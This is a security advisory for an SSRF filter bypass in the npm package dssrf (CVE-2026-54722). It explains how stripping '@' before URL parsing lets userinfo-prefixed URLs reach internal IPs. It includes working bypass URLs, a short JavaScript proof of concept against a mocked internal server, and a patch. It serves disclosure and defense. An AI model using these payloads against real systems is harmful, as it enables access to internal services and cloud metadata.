GHSA-CG4G-M8JX-VJV2
Vulnerability from github – Published: 2026-07-30 16:26 – Updated: 2026-07-30 21:23Summary
is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.
Vulnerability
In helpers.ts, is_url_safe does:
u = remove_at_symbol_in_string(u); // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname; // resolved from the corrupted string
What happens step by step
Input: http://evil.com@127.0.0.1/
remove_at_symbol_in_string→http://evil.com127.0.0.1/new URL(...)→hostname = "evil.com127.0.0.1"- Not a bare IP, not IPv6 → passes all IP checks
is_hostname_resolve_to_internal_ip("evil.com127.0.0.1")→ NXDOMAIN → returns false- Result:
true(safe) — but any HTTP client using the original URL connects to127.0.0.1
Proof of Concept
import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';
// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');
const BYPASS_URL = 'http://2@10.0.0.1/';
const PLAIN_URL = 'http://10.0.0.1/';
// dssrf should block both — it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is_url_safe('${PLAIN_URL}') =`, await is_url_safe(PLAIN_URL), '← correctly blocked');
console.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️ BYPASSED (should be false)');
// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1
console.log('\n--- HTTP client ---');
try {
const res = await got(BYPASS_URL, { retry: { limit: 0 } });
console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️ VULNERABLE');
} catch (e) {
console.log(`got('${BYPASS_URL}') blocked:`, e.message);
}
Root Cause
@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to reject any URL that contains a userinfo component after parsing.
Suggested Fix
Remove the remove_at_symbol_in_string call from is_url_safe and add a userinfo check after new URL():
const parsed = new URL(u);
// Reject userinfo — '@' in authority is a classic SSRF bypass vector
if (parsed.username !== "" || parsed.password !== "") {
return false;
}
A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.
Impact
- Affected version: 1.0.3 (latest)
- Bypasses: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (
169.254.169.254), any internal hostname via userinfo prefix - Note: The GHSA-8p33-q827-ghj5 advisory patched version (
1.0.3) should be updated since this vector was not covered by that fix
Users are strongly advised to upgrade to dssrf 1.0.4
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.3"
},
"package": {
"ecosystem": "npm",
"name": "dssrf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54722"
],
"database_specific": {
"cwe_ids": [
"CWE-76"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T16:26:52Z",
"nvd_published_at": "2026-07-30T17:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`is_url_safe` in v1.0.3 contains an SSRF bypass. `remove_at_symbol_in_string` is applied to the raw URL string **before** `new URL()` parses it. This strips the `@` that separates userinfo from host, corrupting the hostname so internal IPs are never checked.\n\n## Vulnerability\n\nIn `helpers.ts`, `is_url_safe` does:\n\n```ts\nu = remove_at_symbol_in_string(u); // strips ALL \u0027@\u0027 from the raw string\n// ...\nconst parsed = new URL(u);\nconst hostname = parsed.hostname; // resolved from the corrupted string\n```\n\n### What happens step by step\n\nInput: `http://evil.com@127.0.0.1/`\n\n1. `remove_at_symbol_in_string` \u2192 `http://evil.com127.0.0.1/`\n2. `new URL(...)` \u2192 `hostname = \"evil.com127.0.0.1\"`\n3. Not a bare IP, not IPv6 \u2192 passes all IP checks\n4. `is_hostname_resolve_to_internal_ip(\"evil.com127.0.0.1\")` \u2192 NXDOMAIN \u2192 returns false\n5. **Result: `true` (safe)** \u2014 but any HTTP client using the *original* URL connects to `127.0.0.1`\n\n### Proof of Concept\n\n```js\nimport nock from \u0027nock\u0027;\nimport { got } from \u0027got\u0027;\nimport { is_url_safe } from \u0027dssrf\u0027;\n\n// Simulate an internal server at 10.0.0.1 that returns secret data\nnock(\u0027http://10.0.0.1:80\u0027).persist().get(\u0027/\u0027).reply(200, \u0027SECRET_DATA\u0027);\n\nconst BYPASS_URL = \u0027http://2@10.0.0.1/\u0027;\nconst PLAIN_URL = \u0027http://10.0.0.1/\u0027;\n\n// dssrf should block both \u2014 it only blocks the plain one\nconsole.log(\u0027--- dssrf validator ---\u0027);\nconsole.log(`is_url_safe(\u0027${PLAIN_URL}\u0027) =`, await is_url_safe(PLAIN_URL), \u0027\u2190 correctly blocked\u0027);\nconsole.log(`is_url_safe(\u0027${BYPASS_URL}\u0027) =`, await is_url_safe(BYPASS_URL), \u0027\u2190 \u26a0\ufe0f BYPASSED (should be false)\u0027);\n\n// HTTP client with the bypass URL \u2014 gets SECRET_DATA back from 10.0.0.1\nconsole.log(\u0027\\n--- HTTP client ---\u0027);\ntry {\n const res = await got(BYPASS_URL, { retry: { limit: 0 } });\n console.log(`got(\u0027${BYPASS_URL}\u0027) response:`, res.body, \u0027\u2190 \u26a0\ufe0f VULNERABLE\u0027);\n} catch (e) {\n console.log(`got(\u0027${BYPASS_URL}\u0027) blocked:`, e.message);\n}\n```\n\n## Root Cause\n\n`@` in a URL separates `userinfo` (credentials) from `host`. Stripping it from the raw string before parsing destroys that boundary. The fix is to **reject any URL that contains a userinfo component** after parsing.\n\n## Suggested Fix\n\nRemove the `remove_at_symbol_in_string` call from `is_url_safe` and add a userinfo check after `new URL()`:\n\n```ts\nconst parsed = new URL(u);\n\n// Reject userinfo \u2014 \u0027@\u0027 in authority is a classic SSRF bypass vector\nif (parsed.username !== \"\" || parsed.password !== \"\") {\n return false;\n}\n```\n\nA working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.\n\n## Impact\n\n- **Affected version**: 1.0.3 (latest)\n- **Bypasses**: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (`169.254.169.254`), any internal hostname via userinfo prefix\n- **Note**: The GHSA-8p33-q827-ghj5 advisory patched version (`1.0.3`) should be updated since this vector was not covered by that fix\n\n\nUsers are strongly advised to upgrade to dssrf 1.0.4",
"id": "GHSA-cg4g-m8jx-vjv2",
"modified": "2026-07-30T21:23:13Z",
"published": "2026-07-30T16:26:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/HackingRepo/dssrf-js/security/advisories/GHSA-cg4g-m8jx-vjv2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54722"
},
{
"type": "WEB",
"url": "https://github.com/HackingRepo/dssrf-js/issues/97"
},
{
"type": "WEB",
"url": "https://github.com/HackingRepo/dssrf-js/pull/98"
},
{
"type": "WEB",
"url": "https://github.com/HackingRepo/dssrf-js/commit/9211f91bf532433a1a1b27d946571546a63664b3"
},
{
"type": "PACKAGE",
"url": "https://github.com/HackingRepo/dssrf-js"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "dssrf has an SSRF bypass with remove_at_symbol_in_string"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.